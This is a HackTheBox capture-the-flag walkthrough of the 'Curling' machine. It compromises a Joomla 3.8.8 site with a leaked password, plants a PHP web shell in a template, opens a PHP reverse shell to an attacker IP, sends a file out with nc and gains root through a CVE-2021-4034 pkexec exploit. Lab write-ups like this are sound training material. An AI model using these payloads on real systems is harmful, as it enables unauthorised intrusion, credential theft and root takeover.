HackTheBox - Curling

Updated 29-03-2026

A Linux machine running a Joomla site where a hint hidden in the page source leads to credentials — and a password buried under layers of nested compression unlocks a path to a higher-privilege user.

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ip=10.129.1.139; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); nmap -p$ports -sC -sV $ip
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-18 06:42 EST
Nmap scan report for 10.129.1.139
Host is up (0.45s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
| 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
|_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds

Foothold

Hostname Setup

Add the host entry to /etc/hosts.

1
$ echo '10.129.1.139 curling.htb' | sudo tee -a /etc/hosts 

Web Fingerprinting

From the nmap and whatweb scans, we can see the web server is running Joomla CMS.

1
2
$ whatweb curling.htb
http://curling.htb [200 OK] Apache[2.4.29], Bootstrap, Cookies[c0548020854924e0aecd05ed9f5b672b], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], HttpOnly[c0548020854924e0aecd05ed9f5b672b], IP[10.129.1.139], JQuery, MetaGenerator[Joomla! - Open Source Content Management], PasswordField[password], Script[application/json], Title[Home]

If we go to http://curling.htb/administrator/manifests/files/joomla.xml, we can confirm the server is running Joomla v3.8.8.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<extension version="3.6" type="file" method="upgrade">
<name>files_joomla</name>
<author>Joomla! Project</author>
<authorEmail>admin@joomla.org</authorEmail>
<authorUrl>www.joomla.org</authorUrl>
<copyright>
(C) 2005 - 2018 Open Source Matters. All rights reserved
</copyright>
<license>
GNU General Public License version 2 or later; see LICENSE.txt
</license>
<version>3.8.8</version>
<creationDate>May 2018</creationDate>
<-SNIP->

Secret Discovery

We also found a reference to a secret text file in the homepage source:

1
2
3
</body>
<!-- secret.txt -->
</html>

It contains base64-encoded text, so we decode it:

1
2
3
4
$ curl curling.htb/secret.txt
Q3VybGluZzIwMTgh
$ curl curling.htb/secret.txt | base64 -d
Curling2018!

The first blog post is signed with the poster’s name:

1
2
3
Hey this is the first post on this amazing website! Stay tuned for more amazing content! curling2018 for the win!

- Floris

We try logging in using the credentials floris:Curling2018!.

Logging in to the blog succeeds, and we are welcomed as Super User. We can also use these credentials on the administrator login page at http://curling.htb/administrator/index.php.

RCE via Template Edit

Now we can go to templates, edit a page, and add malicious code to achieve RCE. We add the following code at the first line of index.php:

1
<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

If we visit http://curling.htb/index.php?cmd=whoami, we can see www-data at the top of the page.

Reverse Shell

Create the reverse shell payload:

1
php -r '$sock=fsockopen("10.10.16.52",1234);system("bash <&3 >&3 2>&3");'`

URL-encode it:

1
php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.16.52%22%2C1234%29%3Bsystem%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

Start a TCP listener:

1
nc -lnvp 1234

Send the payload:

1
$ curl http://curling.htb/index.php?cmd=php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.16.52%22%2C1234%29%3Bsystem%28%22bash%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27

We receive the shell:

1
2
3
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.16.52] from (UNKNOWN) [10.129.1.139] 58524

Upgrade the shell:

1
python3 -c 'import pty; pty.spawn("/bin/bash")'

Local Enumeration and Credentials

Inspecting configuration.php in the web root reveals the following database credentials:

1
2
3
4
5
6
7
8
9
10
11
www-data@curling:/var/www/html$ cat configuration.php
cat configuration.php
<-SNIP->
public $dbtype = 'mysqli';
public $host = 'localhost';
public $user = 'floris';
public $password = 'mYsQ!P4ssw0rd$yea!';
public $db = 'Joombla';
public $dbprefix = 'eslfu_';

<-SNIP->

We find nothing interesting inside the MySQL database:

1
www-data@curling:/var/www/html$ mysql -u floris -p'mYsQ!P4ssw0rd$yea!' Joombla

Password Recovery Chain

In floris‘ home folder, we find password_backup. It is a hexdump (ASCII text) of a bzip2 file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-rw-r----- 1 floris floris   33 Feb 18 11:23 user.txt
www-data@curling:/home/floris$ cat password_backup
cat password_backup
00000000: 425a 6839 3141 5926 5359 819b bb48 0000 BZh91AY&SY...H..
00000010: 17ff fffc 41cf 05f9 5029 6176 61cc 3a34 ....A...P)ava.:4
00000020: 4edc cccc 6e11 5400 23ab 4025 f802 1960 N...n.T.#.@%...`
00000030: 2018 0ca0 0092 1c7a 8340 0000 0000 0000 ......z.@......
00000040: 0680 6988 3468 6469 89a6 d439 ea68 c800 ..i.4hdi...9.h..
00000050: 000f 51a0 0064 681a 069e a190 0000 0034 ..Q..dh........4
00000060: 6900 0781 3501 6e18 c2d7 8c98 874a 13a0 i...5.n......J..
00000070: 0868 ae19 c02a b0c1 7d79 2ec2 3c7e 9d78 .h...*..}y..<~.x
00000080: f53e 0809 f073 5654 c27a 4886 dfa2 e931 .>...sVT.zH....1
00000090: c856 921b 1221 3385 6046 a2dd c173 0d22 .V...!3.`F...s."
000000a0: b996 6ed4 0cdb 8737 6a3a 58ea 6411 5290 ..n....7j:X.d.R.
000000b0: ad6b b12f 0813 8120 8205 a5f5 2970 c503 .k./... ....)p..
000000c0: 37db ab3b e000 ef85 f439 a414 8850 1843 7..;.....9...P.C
000000d0: 8259 be50 0986 1e48 42d5 13ea 1c2a 098c .Y.P...HB....*..
000000e0: 8a47 ab1d 20a7 5540 72ff 1772 4538 5090 .G.. .U@r..rE8P.
000000f0: 819b bb48 ...H

www-data@curling:/home/floris$ file password_backup
file password_backup
password_backup: ASCII text

Copy the file to our machine.

On our machine:

1
2
$  nc -lvnp 4444 > password_backup
listening on [any] 4444 ...

On the target:

1
www-data@curling:/home/floris$ nc 10.10.16.52 4444 < /home/floris/password_backup

Convert the hexdump back into the original binary:

1
2
$ mkdir files
$ xxd -r password_backup > files/password_backup.bz2

Decompress the BZIP2. The extracted file is also compressed using GZIP.

1
2
3
4
5
6
$ cd files
$ bunzip2 password_backup.bz2
$ ls
password_backup
$ file password_backup
password_backup: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix, original size modulo 2^32 141

Decompress the GZIP and reveal yet another compressed file:

1
2
3
4
5
6
$ mv password_backup password_backup.gz
$ gunzip password_backup.gz
$ ls
password_backup
$ file password_backup
password_backup: bzip2 compressed data, block size = 900k

Decompress it again:

1
2
3
4
5
6
$ bzip2 -d password           
bzip2: Can't guess original name for password -- using password.out

$ file password.out
password.out: POSIX tar archive (GNU)

Extract the tar archive:

1
2
3
$ tar -xf password.out
$ cat password.txt
5d<wdCbdZu)|hChXll

This is the end of the compression chain, and we can now read password.txt.

With this password, we can SSH as floris to retrieve the user flag.

1
2
3
4
$ ssh floris@curling.htb
floris@curling.htb's password:

floris@curling:~$

Privilege Escalation

LinPEAS

Copy linPEAS to the target’s /tmp folder:

1
2
3
$ scp ~/tools/linpeas.sh floris@curling.htb:/tmp
floris@curling.htb's password:
linpeas.sh

Run linpeas.sh to look for privilege escalation paths:

1
2
3
floris@curling:~$ cd /tmp
floris@curling:/tmp$ chmod +x linpeas.sh
floris@curling:/tmp$ ./linpeas

We identify a likely privilege escalation path: the machine is vulnerable to CVE-2021-4034, a local privilege escalation flaw in Polkit’s pkexec utility.

1
2
3
4
5
══╣ Polkit Binary
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
pkexec version 0.105

Exploit Build Constraints

We are going to try this PoC to get our root shelll.

The machine does not have gcc to compile, and it uses an older GLIBC version:

1
2
3
floris@curling:/tmp$ which gcc
floris@curling:/tmp$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27

Since our machine is using a modern version of GLIBC, we need to use Docker to compile against GLIBC 2.27.

Docker Build Environment

Set up Docker:

1
2
3
4
5
$ sudo apt install docker.io -y
$ sudo systemctl start docker
$ sudo systemctl enable docker
$ sudo usermod -aG docker $USER
$ newgrp docker

Start Ubuntu 18.04 with a volume mount:

1
$ docker run -it -v $(pwd):/work ubuntu:18.04 bash

Install build tools inside the container:

1
2
root@e5bffe7b3df0:/# apt update
root@e5bffe7b3df0:/# apt install build-essential -y

Compile using the Makefile, then exit:

1
2
3
root@e7016b89e23e:/# cd /work
root@e7016b89e23e:/work# make all
root@e7016b89e23e:/work# exit

Exploit Execution

Copy the compiled binaries to the target:

1
$ scp exploit evil.so floris@curling.htb:/tmp/

Run the exploit on the target to elevate to root:

1
2
3
4
floris@curling:/tmp$ ./exploit
# whoami
root
#